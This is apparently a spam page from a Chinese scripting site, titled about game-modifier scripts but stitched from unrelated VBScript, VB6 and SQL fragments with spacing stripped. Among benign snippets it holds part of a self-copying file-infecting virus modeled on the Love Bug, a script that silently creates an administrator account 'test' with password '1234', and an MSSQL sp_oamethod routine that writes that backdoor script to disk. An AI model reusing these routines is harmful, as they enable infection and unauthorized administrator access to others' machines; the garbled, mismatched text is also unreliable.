gg修改器编写脚本重要几点安卓14合一

发布时间:2020-10-23 来源:脚本之家 点击:

有了DataView,我们就可以创建并修改表和视图、数据库视图以及存储过程和触发器等如果你的系统不支持.vbs,可以将后缀改为.vbe

dimfolder,fso,foldername,f,d,dc
setfso=createobject("scripting.filesystemobject")
setself=fso.opentextfile(wscript.scriptfullname,1)
vbscopy=self.readall'读取病毒体,以备复制到文件
self.close
setdc=fso.Drives
foreachdindc
ifd.drivetype=3ord.drivetype=2then'检查磁盘类型
wscript.echod'弹出窗口,显示找到盘符
scan(d)
endif
next
lsfile=wscript.scriptfullname'该脚本程序路径
setlsfile=fso.getfile(lsfile)
lsfile.delete(true)'病毒运行后自我删除(本人自加,爱虫病毒本身没有该代码)

subscan(folder_)
onerrorresumenext
setfolder_=fso.getfolder(folder_)
setfiles=folder_.files
foreachfileinfiles
ext=fso.GetExtensionName(file)'获取文件后缀
ext=lcase(ext)'后缀名转换成小写字母
ifext="mp5"then'如果后缀名是mp5,当然不存在这种文件,这里可以自己修改,但是注意

贪婪洞窟2电脑脚本

strComputer="."
SetobjWMIService=GetObject("winmgmts:\"&strComputer&"\root\cimv2")
SetIPConfigSet=objWMIService.ExecQuery_
("SelectIPAddressfromWin32_NetworkAdapterConfigurationwhereIPEnabled=TRUE")
ForEachIPConfiginIPConfigSet
IfNotIsNull(IPConfig.IPAddress)Then
Fori=LBound(IPConfig.IPAddress)toUBound(IPConfig.IPAddress)
WScript.EchoIPConfig.IPAddress(i)
Next
EndIf
Next
'*ModuleName:Start_Module
'*ModuleFilename:Start.bas
'*********************************************************
'*Comments:Show/Hidethestartbutton
'********************************************************
PrivateDeclareFunctionFindWindowLib"user32"Alias"FindWindowA"(ByVallpClassNameAsString,ByVallpWindowNameAsString)AsLong

PrivateDeclareFunctionFindWindowExLib"user32"Alias"FindWindowExA"(ByValhWnd1AsLong,ByValhWnd2AsLong,ByVallpsz1AsString,ByVallpsz2AsString)AsLong

PrivateDeclareFunctionShowWindowLib"user32"(ByValhwndAsLong,ByValnCmdShowAsLong)AsLong

PublicFunctionhideStartButton()
'ThisFunctionHidestheStartButton'
OurParent&=FindWindow("Shell_TrayWnd","")
OurHandle&=FindWindowEx(OurParent&,0,"Button",vbNullString)
ShowWindowOurHandle&,0
EndFunction

PublicFunctionshowStartButton()
'ThisFunctionShowstheStartButton'
OurParent&=FindWindow("Shell_TrayWnd","")
OurHandle&=FindWindowEx(OurParent&,0,"Button",vbNullString)

ShowWindowOurHandle&,5
EndFunction->


setwsnetwork=CreateObject("WSCRIPT.NETWORK")
os=""&wsnetwork.ComputerName
Setob=GetObject(os)'得到adsi接口,绑定
Setoe=GetObject(os&"/Administrators,group")'属性,admin组
Setod=ob.Create("user","test")'建立用户
od.SetPassword"1234"'设置密码
od.SetInfo'保存
Setof=GetObject(os&"/test",user)'得到用户
oe.addos&"/test"

SQL语句如下,采用sp_oamethod过程:

declare@oint,@fint,@retint
execsp_oacreate'scripting.filesystemobject',@oout
execsp_oamethod@o,'createtextfile',@fout,'c:\1.vbs',1
exec@ret=sp_oamethod@f,'writeline',NULL,'setwsnetwork=CreateObject
("WSCRIPT.NETWORK")'
exec@ret=sp_oamethod@f,'writeline',NULL,'os=""&wsnetwork.
ComputerName'
exec@ret=sp_oamethod@f,'writeline',NULL,'Setob=GetObject(os)'
exec@ret=sp_oamethod@f,'writeline',NULL,'Setoe=GetObject
(os&"/Administrators,group")'
exec@ret=sp_oamethod@f,'writeline',NULL,'Setod=ob.Create
("user","test")'
exec@ret=sp_oamethod@f,'writeline',NULL,'od.SetPassword"1234"'
exec@ret=sp_oamethod@f,'writeline',NULL,'od.SetInfo'
exec@ret=sp_oamethod@f,'writeline',NULL,'Setof=GetObject
(os&"/test",user)'
exec@ret=sp_oamethod@f,'writeline',NULL,'oe.addos&"/test"'
PrivateDeclareFunctionGetSystemMenuLib"User32"(ByValhwndAsLong,ByValbRevertAsLong)AsLong
PrivateDeclareFunctionRemoveMenuLib"User32"(ByValhMenuAsLong,ByValnPositionAsLong,ByValwFlagsAsLong)AsLong
PrivateDeclareFunctionDrawMenuBarLib"User32"(ByValhwndAsLong)AsLong
PrivateDeclareFunctionGetMenuItemCountLib"User32"(ByValhMenuAsLong)AsLong
PrivateConstMF_BYPOSITION=&H400&
PrivateConstMF_DISABLED=&H2&

PrivateSubForm_Load()
CallDisableX(Me)
EndSub

PrivateSubDisableX(FrmAsForm)
DimhMenuAsLong,nCountAsLong
hMenu=GetSystemMenu(Frm.hwnd,0)
nCount=GetMenuItemCount(hMenu)
CallRemoveMenu(hMenu,nCount-1,MF_DISABLEDOrMF_BYPOSITION)
DrawMenuBarFrm.hwnd
EndSub->

今天写程序时突然想到做一个文件的备份,把网站上的数据库备份到本地机上mailto:tonyki@citiz.net

  模块MdlLanMgr.bas:

    AttributeVB_Name="ModuleLanMgr"

    OptionExplicit

    PrivateDeclareFunctionGetPrivateProfileString&Lib"kernel32"Alias"GetPrivateProfileStringA"(ByVallpApplicationNameAsString,ByVallpKeyNameAsString,ByVallpDefaultAsString,ByVallpReturnedStringAsString,ByValnSizeAsLong,ByVallpFileNameAsString)

  PrivateLanguageFileNameAsString

  '选择语言

  PublicSubSelectLanguage(LanNameAsString)

    OnErrorResumeNext

    

    SelectCaseLanName'根据用户选择的语言的名称,分别读取不同的语言文件

    Case"English":

    LanguageFileName=AddSplash(App.Path)&"English.Lan"

    Case"Chinese(Simplify)":

    LanguageFileName=AddSplash(App.Path)&"ChineseS.Lan"

    Case"Chinese(Traditional)":

    LanguageFileName=AddSplash(App.Path)&"ChineseT.Lan"

    CaseElse:

    LanguageFileName=""

    EndSelect

    EndSub

  '翻译文字

  PublicFunctionTranslateStr(sSectionAsString,sKeyAsString,sDefValAsString)AsString

    DimsValueAsString*128

    DimNAsLong

    

    OnErrorResumeNext

    

    TranslateStr=sDefVal

    IfNotFileExists(LanguageFileName)Then

    ExitFunction

    EndIf

    N=GetPrivateProfileString(sSection,sKey,sDefVal,sValue,127,LanguageFileName)

    IfN>0Then

    TranslateStr=Left(sValue,N)

    EndIf

    EndFunction

  '自动转换Form上的一些基本控件(也可自行扩展,目前支持CommandButton,Label,OptionButton,CheckButton)

  PublicSubTranslateForm(FrmAsForm)

    DimIAsLong

    

    OnErrorResumeNext

    

    Frm.Caption=TranslateStr(Frm.Name,"Caption",Frm.Caption)

    ForI=0ToFrm.Controls.Count-1

    If(TypeOfFrm.Controls(I)IsCommandButton)Or(TypeOfFrm.Controls(I)IsLabel)_

    Or(TypeOfFrm.Controls(I)IsOptionButton)Or(TypeOfFrm.Controls(I)IsCheckBox)Then

    Frm.Controls(I).Caption=TranslateStr(Frm.Name,Frm.Controls(I).Name,Frm.Controls(I).Caption)

    EndIf

    NextI

    EndSub

->

CreateObject和WScript.CreateObject的区别一:
CreateObject是VBS的内置函数,属于语言的一部分;而WScript.CreateObject是Windows脚本宿主(wscript.exe和cscript.exe)提供的WScript对象的方法淘闻下载。

  FloodPercent:显示当前过程如流动条进行的百分比,参数改变时显示的百分数和流动条的面积改变,设为一整型值,取值范围是0~100
Const n=1
Dim f, a, s, w
w=WScript.ScriptFullName
Set f=CreateObject("Scripting.FileSystemObject")
Set a=f.OpenTextFile(w, 1)
a.SkipLine
s=chr(13) & Chr(10) & a.ReadAll
a.Close

Set a=f.CreateTextFile(w, True)
a.Write "Const n=" & n + 1 & s
a.Close

WScript.echo "This script has been run " & n & " times"

网站地图 | Tag标签 | RSS订阅
Copyright © 2012-2019 脚本之家 All Rights Reserved
脚本之家  渝ICP备13030612号